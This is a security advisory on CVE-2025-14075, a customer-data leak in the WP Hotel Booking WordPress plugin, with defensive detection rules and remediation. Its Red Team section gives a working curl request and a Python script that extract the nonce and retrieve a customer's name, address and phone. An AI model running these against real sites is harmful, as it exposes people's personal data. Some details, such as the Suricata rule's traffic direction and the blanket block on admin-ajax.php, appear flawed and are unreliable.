CVE-2025-14075

Executive Summary

CVE-2025-14075 is a Sensitive Information Exposure vulnerability in the WP Hotel Booking WordPress plugin (versions up to and including 2.2.7). The plugin exposes the hotel_booking_fetch_customer_info AJAX action to unauthenticated users. While a nonce is required for the request, the nonce is publicly accessible (e.g., embedded in page source or JavaScript), and no server-side capability check is performed. This allows an unauthenticated attacker to retrieve sensitive customer PII (full names, addresses, phone numbers, email addresses) by providing a valid email address and the exposed nonce.

This vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the POC is public, making it a high-risk target for automated scanning.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the WordPress plugin repository. Users should monitor for official patches and verify plugin integrity via checksums. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low (exposure of PII)
• Integrity Impact: None
• Availability Impact: None

Threat Level: Medium. The vulnerability allows unauthorized access to sensitive customer data, which can lead to identity theft, phishing, or social engineering attacks. The low EPSS score suggests limited active exploitation, but the public POC increases risk.

Deep Dive & Mechanics

The vulnerability resides in the hotel_booking_fetch_customer_info AJAX action registered by the WP Hotel Booking plugin. The action is intended to retrieve customer details for administrative purposes. However, the plugin fails to enforce proper capability checks (e.g., current_user_can('manage_options')). Instead, it only relies on a nonce for protection.

The nonce is generated and exposed in the WordPress page source (e.g., in JavaScript variables or HTML data attributes) for legitimate frontend operations. An attacker can extract this nonce by viewing the page source or intercepting network traffic. Once the nonce is obtained, the attacker can craft a POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action hotel_booking_fetch_customer_info and a valid customer email address. The server will return the customer's full name, address, phone number, and email address in JSON format.

Root Cause: Missing capability check on the AJAX handler. The nonce is not sufficient for authorization because it is publicly accessible.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.7):

add_action('wp_ajax_hotel_booking_fetch_customer_info', 'hotel_booking_fetch_customer_info');
add_action('wp_ajax_nopriv_hotel_booking_fetch_customer_info', 'hotel_booking_fetch_customer_info');

function hotel_booking_fetch_customer_info() {
    check_ajax_referer('hotel_booking_nonce', 'nonce');
    $email = sanitize_email($_POST['email']);
    // No capability check
    $customer = get_customer_by_email($email);
    wp_send_json_success($customer);
}

Patched Code (Hypothetical):

add_action('wp_ajax_hotel_booking_fetch_customer_info', 'hotel_booking_fetch_customer_info');
// Remove nopriv hook to restrict to authenticated users
// add_action('wp_ajax_nopriv_hotel_booking_fetch_customer_info', 'hotel_booking_fetch_customer_info');

function hotel_booking_fetch_customer_info() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    check_ajax_referer('hotel_booking_nonce', 'nonce');
    $email = sanitize_email($_POST['email']);
    $customer = get_customer_by_email($email);
    wp_send_json_success($customer);
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with WP Hotel Booking plugin <= 2.2.7.
• A valid customer email address (can be enumerated via other means or guessed).

Exploitation Steps:

1. Extract the nonce: Visit any page of the WordPress site (e.g., the booking page) and view the page source. Look for a JavaScript variable like hotel_booking_nonce or an HTML data attribute. Alternatively, use browser developer tools to inspect network requests.

2. Craft the exploit request:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=hotel_booking_fetch_customer_info" \
  -d "nonce=EXTRACTED_NONCE" \
  -d "email=victim@example.com"

3. Parse the response: The server will return JSON containing the customer's PII.

Automated Exploit Script (Python):

import requests
import re

target = "https://target.com"
email = "victim@example.com"

# Extract nonce from page source
response = requests.get(target)
nonce_match = re.search(r'hotel_booking_nonce["\']?\s*:\s*["\']([^"\']+)', response.text)
if nonce_match:
    nonce = nonce_match.group(1)
    exploit_url = f"{target}/wp-admin/admin-ajax.php"
    data = {
        "action": "hotel_booking_fetch_customer_info",
        "nonce": nonce,
        "email": email
    }
    exploit_response = requests.post(exploit_url, data=data)
    print(exploit_response.json())
else:
    print("Nonce not found")

Blue Team

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with the action hotel_booking_fetch_customer_info from unauthenticated users.
2. Check for repeated requests with different email addresses in a short time frame.
3. Review server logs for 403 errors on the AJAX endpoint (if patched) or successful responses with PII data.

Honeypot Setup:

• Create a fake customer record with a monitored email address.
• Trigger the exploit and alert on any access to that record.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=hotel_booking_fetch_customer_info.
  • Requests containing a valid nonce and an email parameter.
• File IOCs:
  • Plugin file: /wp-content/plugins/wp-hotel-booking/includes/class-wp-hotel-booking-ajax.php (or similar) containing the vulnerable AJAX handler.
• Log IOCs:
  • Access logs showing repeated admin-ajax.php requests from the same IP with different email addresses.
  • PHP error logs showing check_ajax_referer failures (if nonce is invalid).

Detection Engineering

YARA Rule

rule CVE_2025_14075_WP_Hotel_Booking_Info_Leak {
    meta:
        description = "Detects exploitation attempts of CVE-2025-14075 in WP Hotel Booking plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-14075"
    strings:
        $ajax_action = "hotel_booking_fetch_customer_info"
        $nonce_param = "nonce="
        $email_param = "email="
    condition:
        $ajax_action and $nonce_param and $email_param
}

Sigma Rule

title: CVE-2025-14075 WP Hotel Booking Sensitive Information Exposure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to hotel_booking_fetch_customer_info
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=hotel_booking_fetch_customer_info"
            - "nonce="
            - "email="
    condition: selection
falsepositives:
    - Legitimate admin requests (if patched)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14075 WP Hotel Booking Sensitive Information Exposure";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=hotel_booking_fetch_customer_info"; http_client_body;
    content:"nonce="; http_client_body;
    content:"email="; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or restrict access to the AJAX endpoint via .htaccess:

<Files "admin-ajax.php">
    Require all denied
</Files>

2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=hotel_booking_fetch_customer_info from unauthenticated users.

Long-term Fix:

• Apply the official patch once released by the vendor.
• If patching manually, modify the plugin code to:
  • Remove the wp_ajax_nopriv_ hook.
  • Add a capability check (e.g., current_user_can('manage_options')).
  • Rotate the nonce key.

Monitoring:

• Enable logging for AJAX requests and monitor for suspicious patterns.
• Use the provided YARA/Sigma/Suricata rules for detection.

Valters IT